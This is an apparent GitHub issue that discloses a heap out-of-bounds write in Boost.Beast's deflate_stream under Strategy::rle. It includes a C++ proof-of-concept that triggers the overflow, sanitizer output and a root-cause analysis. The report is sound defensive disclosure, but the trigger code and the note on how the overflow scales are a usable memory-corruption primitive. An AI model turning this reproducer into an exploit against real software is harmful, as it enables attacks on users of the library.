boostorg / boostorg/beast

Missing pending-buffer size cap in Strategy::rle triggers out-of-bounds write in copy_block

Open
#3,109 1 comment 1 reaction 1 assignee Claimed by @ashtum View on GitHub
Dominant language
C++
Stars
4.8k
Forks
694
Avg merge
12h 48m
Merged PRs (30d)
1

Description

# Missing pending-buffer size cap in Strategy::rle triggers out-of-bounds write in copy_block

### Version of Beast

- `BOOST_BEAST_VERSION` 360 (`boost/beast/version.hpp`)
- commit `56a7c3af4901d0c63c7c1149d79bbf8856341343` (`boost-1.91.0-16-g56a7c3af`)
- Also reproducible with Boost 1.83 / `BOOST_BEAST_VERSION` 347 (system package) and earlier releases — the missing check is long-standing.

### Steps necessary to reproduce

1. Install a recent Boost and clang, e.g. on Ubuntu:
`sudo apt install libboost-dev clang`
2. Save the program below as `poc.cpp`
3. Build and run:
`clang++ -fsanitize=address -g -O1 -std=c++17 poc.cpp -o poc && ./poc`

```cpp
#include
#include
#include
#include

namespace zlib = boost::beast::zlib;

int main()
{
// Documented-valid configuration (deflate_stream.hpp:107-115):
// memLevel=1 -> internal pending buffer is 512 bytes
// level=0 forces a stored block
// Strategy::rle routes to f_rle, which (unlike f_stored) does not
// cap the stored-block size against pending_buf_size_.
zlib::deflate_stream ds;
ds.reset(0, 9, 1, zlib::Strategy::rle);

std::vector input_data(508, 'A');

std::vector compressed(
zlib::deflate_upper_bound(input_data.size()) + 64);

zlib::z_params zp;
zp.next_in = input_data.data();
zp.avail_in = input_data.size();
zp.next_out = compressed.data();
zp.avail_out = compressed.size();

boost::system::error_code ec;
ds.write(zp, zlib::Flush::finish, ec);
return 0;
}
```

Observed (ASan, clang 18.1.3, Boost 1.83 / Beast 347):

```
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 508
#1 deflate_stream::copy_block deflate_stream.ipp:1334
#2 deflate_stream::tr_stored_block deflate_stream.ipp:1393
#3 deflate_stream::tr_flush_block deflate_stream.ipp:1488
#4 deflate_stream::flush_block deflate_stream.ipp:1703
#5 deflate_stream::f_rle deflate_stream.ipp:2258
#6 deflate_stream::deflate_rle deflate_stream.hpp:683
#7 deflate_stream::doWrite deflate_stream.ipp:433
#8 deflate_stream::write deflate_stream.hpp:299
#9 main poc.cpp:27
```

The 508-byte write overruns the 512-byte pending buffer by **1 byte**. The overrun is not limited to 1 byte: with a 60 KB input and `windowBits = 15` (same config), the first flush produces `WRITE of size 32509` (~32 KB past the 512-byte buffer); with `memLevel = 2` it produces `WRITE of size 60000` (~59 KB past the 1 KB buffer). So the primitive is a genuine heap out-of-bounds write whose size scales linearly with input length.

### Expected behavior

The stream should either cap/split the stored block so it fits the pending buffer, or grow the buffer. With `memLevel = 1` the pending buffer is 512 bytes (`pending_buf_size_ = lit_bufsize_ * 4`, `lit_bufsize_ = 1 << (memLevel + 6)`); a 508-byte stored block plus its 5-byte header needs 513 bytes, so `copy_block` writes 1 byte past the buffer. The overflow grows linearly with input length (observed 32 KB+ writes with larger inputs and `windowBits = 15`).

### Security Impact

Genuine heap out-of-bounds write (CWE-787): the overflowed bytes are caller-controlled input, and the overrun grows with input size (from 1 byte up to ~32-59 KB per flush in our tests). Potential risk is corruption of adjacent heap data and denial of service under ASan; exploitation was not demonstrated. Practical exposure is limited: triggering requires the unusual documented-valid configuration (`memLevel ≤ 2`, `level = 0`, `Strategy::rle`), and no default integration path uses it.

### Root cause (brief)

`copy_block` (`deflate_stream.ipp:1319-1336`) writes the stored-block body with `std::memcpy(&pending_buf_[pending_], buf, len)` and no check against `pending_buf_size_`. The `f_rle` finish path (`deflate_stream.ipp:2255-2261`) flushes the whole accumulated input as a single stored block (`tr_flush_block` forces a stored block when `level == 0`, `deflate_stream.ipp:1473-1488`), whereas the sibling `f_stored` path explicitly caps the block at `pending_buf_size_ - 5` (`deflate_stream.ipp:1863-1868`). `f_rle` has no such cap.

### All relevant compiler information

- clang version 18.1.3 (Ubuntu), flags: `-fsanitize=address -g -O1 -std=c++17 -fno-omit-frame-pointer`
- libboost-dev 1.83 (`/usr/include/boost`, `BOOST_BEAST_VERSION` 347)
- Also reproduced with the same flags on commit `56a7c3af` (`BOOST_BEAST_VERSION` 360)

### Submission Statement

This report was produced by FuzzAnything's AI-assisted library fuzzer and manually verified by a team member. We reviewed the PoC against the upstream API documentation — call order, parameters, and memory ownership — and found no API misuse.

> Signed-off-by: FuzzAnything

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.